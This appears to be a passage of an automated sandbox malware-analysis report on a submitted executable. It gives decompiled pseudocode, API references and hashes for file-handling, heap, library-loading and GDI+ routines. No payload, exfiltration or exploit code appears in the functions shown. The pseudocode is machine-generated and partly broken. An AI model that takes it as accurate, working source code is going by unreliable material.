					}
					while(1) {
						L4:
						_t13 = E0026A374( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x27d668; // 0xdef7aace
						goto L7;
					}
					_t27 =  *0x27d668; // 0xdef7aace
					goto L8;
				}
				L2:
				return _t33;
			}

0x0026a2e3
0x0026a2ec
0x0026a2f2
0x0026a2fc
0x0026a2fe
0x0026a302
0x0026a36d
0x00000000
0x0026a36d
0x0026a306
0x0026a30c
0x0026a312
0x0026a32e
0x0026a32e
0x0026a330
0x0026a332
0x0026a35d
0x0026a35f
0x0026a367
0x0026a36b
0x00000000
0x0026a36b
0x0026a33e
0x0026a342
0x0026a357
0x00000000
0x0026a357
0x0026a34b
0x00000000
0x00000000
0x00000000
0x00000000
0x0026a314
0x0026a314
0x0026a316
0x0026a31e
0x00000000
0x00000000
0x0026a320
0x0026a326
0x00000000
0x00000000
0x0026a328
0x00000000
0x0026a328
0x0026a34f
0x00000000
0x0026a34f
0x0026a308
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0026A338
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0026A345

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 64a136bfc18c3c888145709d46400fa0ec22020b304bcc58d989576505bca18e
Instruction ID: f5b6a6011e452eb4d87f8b66366cd07389bc1fabc1be5b7f5d1b99d96ff5580c
Opcode Fuzzy Hash: 64a136bfc18c3c888145709d46400fa0ec22020b304bcc58d989576505bca18e
Instruction Fuzzy Hash: CA110A37A216229F9B21DE2CFC4185A73A5AF8576071642A0FD19BB354D630ECF1CED2

Uniqueness

Uniqueness Score: -1.00%

Function 00249AF5 Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00249AF5(void* __esi) {
				long _t14;
				void* _t17;
				long _t21;
				intOrPtr* _t23;
				long _t24;
				void* _t28;
				long _t30;
				void* _t32;
				intOrPtr* _t35;
				void* _t36;
				long _t38;

				_t32 = __esi;
				_t35 = _t23;
				if( *(_t35 + 4) == 0xffffffff) {
					L13:
					return 1;
				}
				_t21 =  *(_t36 + 0x14);
				_t30 =  *(_t36 + 0x14);
				_t38 = _t21;
				if(_t38 > 0 || _t38 >= 0 && _t30 >= 0) {
					_t24 =  *(_t36 + 0x1c);
				} else {
					_t24 =  *(_t36 + 0x1c);
					if(_t24 != 0) {
						if(_t24 != 1) {
							_t17 = E00249885(_t28);
						} else {
							 *0x272260(_t32);
							_t17 =  *((intOrPtr*)( *((intOrPtr*)( *_t35 + 0x14))))();
						}
						_t30 = _t30 + _t17;
						asm("adc ebx, edx");
						_t24 = 0;
					}
				}
				 *(_t36 + 0xc) = _t21;
				_t14 = SetFilePointer( *(_t35 + 4), _t30, _t36 + 0x10, _t24); // executed
				if(_t14 != 0xffffffff || GetLastError() == 0) {
					goto L13;
				} else {
					return 0;
				}
			}

0x00249af5
0x00249af7
0x00249afd
0x00249b77
0x00000000
0x00249b77
0x00249b00
0x00249b05
0x00249b09
0x00249b0b
0x00249b45
0x00249b13
0x00249b13
0x00249b19
0x00249b1e
0x00249b38
0x00249b20
0x00249b29
0x00249b31
0x00249b33
0x00249b3d
0x00249b3f
0x00249b41
0x00249b41
0x00249b19
0x00249b4b
0x00249b5c
0x00249b67
0x00000000
0x00249b73
0x00000000
0x00249b73

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001960,?,00000800,-00001960,00249AD1,?,?,00000000,?,?,00248D43,?), ref: 00249B5C
GetLastError.KERNEL32 ref: 00249B69

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 88fcf2f7cd06e532ec46d075660cd34bfab519af912e013944622e7bf23a5e67
Instruction ID: c211f994007fa2648f88f16e3861fee260899d071a521a552fb1386c3cfd211d
Opcode Fuzzy Hash: 88fcf2f7cd06e532ec46d075660cd34bfab519af912e013944622e7bf23a5e67
Instruction Fuzzy Hash: 80010432320702DB8B1CCF65BC8497FB359EBD1725B14422DF81783290DA70DC999A20

Uniqueness

Uniqueness Score: -1.00%

Function 00249D80 Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00249D80() {
				long _v4;
				void* __ecx;
				void* __ebp;
				long _t12;
				signed int _t14;
				signed int _t21;
				signed int _t22;
				void* _t23;
				long _t32;
				void* _t34;

				_t34 = _t23;
				_t22 = _t21 | 0xffffffff;
				if( *(_t34 + 4) != _t22) {
					L3:
					_v4 = _v4 & 0x00000000;
					_t12 = SetFilePointer( *(_t34 + 4), 0,  &_v4, 1); // executed
					_t32 = _t12;
					if(_t32 != _t22 || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t14 = 0 + _t32;
						asm("adc edx, 0x0");
						goto L8;
					} else {
						if( *((char*)(_t34 + 0x14)) == 0) {
							_t14 = _t22;
							L8:
							return _t14;
						}
						E00246F3A(0x27ff50, 0x27ff50, _t34 + 0x1e);
						goto L7;
					}
				}
				if( *((char*)(_t34 + 0x14)) == 0) {
					return _t22;
				}
				E00246F3A(0x27ff50, 0x27ff50, _t34 + 0x1e);
				goto L3;
			}

0x00249d84
0x00249d86
0x00249d91
0x00249da4
0x00249da4
0x00249db6
0x00249dbc
0x00249dc0
0x00249ddd
0x00249de3
0x00249de8
0x00249dea
0x00000000
0x00249dcc
0x00249dd0
0x00249df9
0x00249ded
0x00000000
0x00249ded
0x00249dd8
0x00000000
0x00249dd8
0x00249dc0
0x00249d97
0x00000000
0x00249df5
0x00249d9f
0x00000000

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00249DB6
GetLastError.KERNEL32 ref: 00249DC2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b5f4a6d81612d01f8ba2abc405289dd0e452fbbc8a325aad4fdc22cffc87839f
Instruction ID: 33a8abd1b84e6d6f4b99e1a641c543983785536237401bc3b9cdc7de44f72a98
Opcode Fuzzy Hash: b5f4a6d81612d01f8ba2abc405289dd0e452fbbc8a325aad4fdc22cffc87839f
Instruction Fuzzy Hash: EE01B570B21201ABDB38AE29DC88B67B7D9DB85318F14453DF147C3A80DA74DC9DC621

Uniqueness

Uniqueness Score: -1.00%

Function 00268486 Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E00268486(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* __esi;
				void* _t4;
				long _t7;
				void* _t9;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = HeapReAlloc( *0x2a06e4, 0, _t14, _t16);
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E00268214();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E00266FF2(_t10, _t13, _t16, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E002687DA())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E0026835E(_t14);
					goto L6;
				}
				_t9 = E00268398(__ecx, _a8); // executed
				return _t9;
			}

0x00268486
0x00268486
0x0026848c
0x00268491
0x0026849f
0x002684a2
0x002684a4
0x002684af
0x002684b2
0x002684d9
0x002684e3
0x002684e9
0x002684eb
0x00000000
0x00000000
0x002684ca
0x002684cc
0x00000000
0x00000000
0x002684cf
0x002684d4
0x002684d5
0x002684d7
0x00000000
0x00000000
0x002684d7
0x002684c1
0x00000000
0x002684c1
0x002684b4
0x002684b9
0x002684bf
0x002684bf
0x002684bf
0x00000000
0x002684bf
0x002684a7
0x00000000
0x002684ac
0x00268496
0x00000000

APIs

_free.LIBCMT ref: 002684A7

Part of subcall function 00268398: RtlAllocateHeap.NTDLL(00000000,?,?,?,00263866,?,0000015D,?,?,?,?,00264D42,000000FF,00000000,?,?), ref: 002683CA

HeapReAlloc.KERNEL32(00000000,?,?,?,?,0027FF50,0024CD97,?,?,?,?,?,?), ref: 002684E3

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 813352ffa8265c982e1bd147ba113304cd69a846005f7da72a085adc127ce359
Instruction ID: c645acf390051309d2f12490660c3020d21238b1c456bbe8821132ebb9d9a4bc
Opcode Fuzzy Hash: 813352ffa8265c982e1bd147ba113304cd69a846005f7da72a085adc127ce359
Instruction Fuzzy Hash: 3CF06236231617AACB312E25AC05A6B375CAF81B70B258315FE18A6191DE74D8F095A1

Uniqueness

Uniqueness Score: -1.00%

Function 00250866 Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00250866(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t14;
				signed int _t15;
				signed int _t17;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					return _t8 + 1;
				}
				_t14 = 0;
				_t17 = _v8;
				_t15 = 1;
				do {
					if((_t17 & _t15) != 0) {
						_t14 = _t14 + 1;
					}
					_t15 = _t15 + _t15;
				} while (_t15 != 0);
				if(_t14 >= 1) {
					return _t14;
				}
				return 1;
			}

0x0025087a
0x00250882
0x00000000
0x00250884
0x00250889
0x0025088d
0x00250890
0x00250892
0x00250894
0x00250896
0x00250896
0x00250897
0x00250897
0x0025089e
0x00000000
0x002508a0
0x002508a5

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00250873
GetProcessAffinityMask.KERNEL32 ref: 0025087A

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: c441fdc8258e7920676dcb40d4a10283b8c500cc0b248562738bd26851670bd8
Instruction ID: cffb48f114629e4c4dd0dfe02b9cf1e3269f74ec39a6be1bfefcbc0f02546bfd
Opcode Fuzzy Hash: c441fdc8258e7920676dcb40d4a10283b8c500cc0b248562738bd26851670bd8
Instruction Fuzzy Hash: 6BE09B72E2010AE74F189AA99C4CCBB739DDA543127148579EC46D3500F634DD5946F4

Uniqueness

Uniqueness Score: -1.00%

Function 0024A384 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0024A384(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t12;
				signed int _t18;
				signed int _t19;

				E0025E1C0();
				_push(_t18);
				_t12 = SetFileAttributesW(_a4, _a8); // executed
				_t19 = _t18 & 0xffffff00 | _t12 != 0x00000000;
				if(_t19 == 0 && E0024B5AC(_a4,  &_v4100, 0x800) != 0) {
					_t19 = _t19 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t19;
			}

0x0024a38c
0x0024a391
0x0024a398
0x0024a3a0
0x0024a3a5
0x0024a3d1
0x0024a3d1
0x0024a3da

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0024A1BA,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A398
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0024A1BA,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A3C9

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c37c9a645a91c8e231f660b6669be1487d64c907b8df5960d07e44c09e9abc65
Instruction ID: 03062d6bc11fd5344efe4a04d7a5106334e8eccf9d949dbbab450137c07f44b7
Opcode Fuzzy Hash: c37c9a645a91c8e231f660b6669be1487d64c907b8df5960d07e44c09e9abc65
Instruction Fuzzy Hash: 07F03031190119ABDF015F61EC45FD97B6CAB04385F448051FC8C96160DB72DDE9EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0025D3C9 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0025D3F7
SetDlgItemTextW.USER32(00000065,?), ref: 0025D40E

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: aa6105997ec10b798ee06414af488b3ab495b90f6348183e86048af6b55931df
Instruction ID: 2d55087e9e3bfd3614cbdd538eebc3956ac294dad227531ffffeeae9f9739994
Opcode Fuzzy Hash: aa6105997ec10b798ee06414af488b3ab495b90f6348183e86048af6b55931df
Instruction Fuzzy Hash: 9DF0EC7292530877EB11EBB0AC4BF993B6CDB04743F140095BA05520E2D5715B355F67

Uniqueness

Uniqueness Score: -1.00%

Function 0024A06D Relevance: 3.0, APIs: 2, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0024A06D(WCHAR* _a4) {
				short _v4100;
				int _t10;
				signed int _t16;
				signed int _t17;

				E0025E1C0();
				_push(_t16);
				_t10 = DeleteFileW(_a4); // executed
				_t17 = _t16 & 0xffffff00 | _t10 != 0x00000000;
				if(_t17 == 0 && E0024B5AC(_a4,  &_v4100, 0x800) != 0) {
					_t17 = _t17 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t17;
			}

0x0024a075
0x0024a07a
0x0024a07e
0x0024a086
0x0024a08b
0x0024a0b4
0x0024a0b4
0x0024a0bd

APIs

DeleteFileW.KERNELBASE(?,?,?,002497EC,?,?,0024961D), ref: 0024A07E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,002497EC,?,?,0024961D), ref: 0024A0AC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0ae3aec01d30953d5295e3d15319108e46055f86d6cf8ec7dc7ff0ecde5fd617
Instruction ID: dfeb73629e27f579a229821daa53116f13882700b78af6dad4f07292572a2965
Opcode Fuzzy Hash: 0ae3aec01d30953d5295e3d15319108e46055f86d6cf8ec7dc7ff0ecde5fd617
Instruction Fuzzy Hash: 2BE09B7159120957DB115F60DC45FE9779CAB18381F444065FC8CD2050DB31DDE8ED61

Uniqueness

Uniqueness Score: -1.00%

Function 0025A31B Relevance: 3.0, APIs: 2, Instructions: 27
comCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0025A31B(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t8;
				void* _t13;
				void* _t16;
				intOrPtr _t19;

				 *[fs:0x0] = _t19;
				_t5 =  *0x287430; // 0x7645c100
				 *0x272260(_t5, _t13, _t16,  *[fs:0x0], E00271E4C, 0xffffffff);
				 *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))();
				L0025E09A(); // executed
				_t8 =  *0x2a1170( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t8;
			}

0x0025a32c
0x0025a333
0x0025a344
0x0025a34a
0x0025a34f
0x0025a354
0x0025a35e
0x0025a369

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00271E4C,000000FF), ref: 0025A34F
OleUninitialize.OLE32(?,?,?,?,00271E4C,000000FF), ref: 0025A354

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: e44c7b693724fb594486b98aa191140b7826d05c4925c47c954a152af73e7acd
Instruction ID: e1ddeede17d5de8e93b57f74440b3ca7083d10d7547b9632ff0fa3c03b9a571d
Opcode Fuzzy Hash: e44c7b693724fb594486b98aa191140b7826d05c4925c47c954a152af73e7acd
Instruction Fuzzy Hash: 2EF03036514654DBC7119B5CEC05B1AFBA9FB49B20F04436AF81993761CB746811CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0024A0D4 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024A0D4(WCHAR* _a4) {
				short _v4100;
				long _t6;
				long _t11;
				long _t13;

				E0025E1C0();
				_t6 = GetFileAttributesW(_a4); // executed
				_t13 = _t6;
				if(_t13 == 0xffffffff && E0024B5AC(_a4,  &_v4100, 0x800) != 0) {
					_t11 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t11;
				}
				return _t13;
			}

0x0024a0dc
0x0024a0e5
0x0024a0eb
0x0024a0f0
0x0024a111
0x0024a117
0x0024a117
0x0024a11f

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0024A0C9,?,0024768B,?,?,?,?), ref: 0024A0E5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0024A0C9,?,0024768B,?,?,?,?), ref: 0024A111

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 750d9ea85c9dd40aa657cdb2b457755e7837347901c8d8242c3b5f1538a0b7b3
Instruction ID: 1c094d49b9113fd19e6f5ac0fc90c0e402ce4d5a491dbaa48114efb6108f0505
Opcode Fuzzy Hash: 750d9ea85c9dd40aa657cdb2b457755e7837347901c8d8242c3b5f1538a0b7b3
Instruction Fuzzy Hash: 5BE06D315101289BCB11AB689C09BD9B76CAB0C3A2F0042A1FD5CE3295D6709DA88AE1

Uniqueness

Uniqueness Score: -1.00%

Function 0024FFE3 Relevance: 3.0, APIs: 2, Instructions: 25
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024FFE3(intOrPtr _a4) {
				short _v4100;
				struct HINSTANCE__* _t7;

				E0025E1C0();
				_t7 = GetSystemDirectoryW( &_v4100, 0x800);
				if(_t7 != 0) {
					E0024B8A5( &_v4100, _a4,  &_v4100, 0x800);
					_t7 = LoadLibraryW( &_v4100); // executed
				}
				return _t7;
			}

0x0024ffeb
0x0024fffe
0x00250006
0x00250014
0x00250020
0x00250020
0x0025002a

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0024FFFE
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0024EAC6,Crypt32.dll,00000000,0024EB4A,?,?,0024EB2C,?,?,?), ref: 00250020

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: fed109968bab4b40632f50646aca2acaa5e3322f0e54ba1259309070fa452b6d
Instruction ID: 13bb1763ba19773e4503173deef671c29ad848982e2e10d83b5caaf894ec19e3
Opcode Fuzzy Hash: fed109968bab4b40632f50646aca2acaa5e3322f0e54ba1259309070fa452b6d
Instruction Fuzzy Hash: 12E0127691011CAADB219AA4DC08FE6776CFF0D382F4400A5B94CD2004DA74DA94CFB4

Uniqueness

Uniqueness Score: -1.00%

Function 00261FAC Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00261FAC(void* __ecx, void* __eflags) {
				intOrPtr _t1;
				void* _t2;
				void* _t9;

				_t1 = E002630D7(__eflags, E00261EF0); // executed
				 *0x27d680 = _t1;
				if(_t1 != 0xffffffff) {
					_t2 = E00263185(__eflags, _t1, 0x2a004c);
					_pop(_t9);
					__eflags = _t2;
					if(_t2 != 0) {
						return 1;
					} else {
						E00261FDF(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00261fb1
0x00261fb6
0x00261fbf
0x00261fca
0x00261fd0
0x00261fd1
0x00261fd3
0x00261fde
0x00261fd5
0x00261fd5
0x00000000
0x00261fd5
0x00261fc1
0x00261fc1
0x00261fc3
0x00261fc3

APIs

Part of subcall function 002630D7: try_get_function.LIBVCRUNTIME ref: 002630EC

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00261FCA
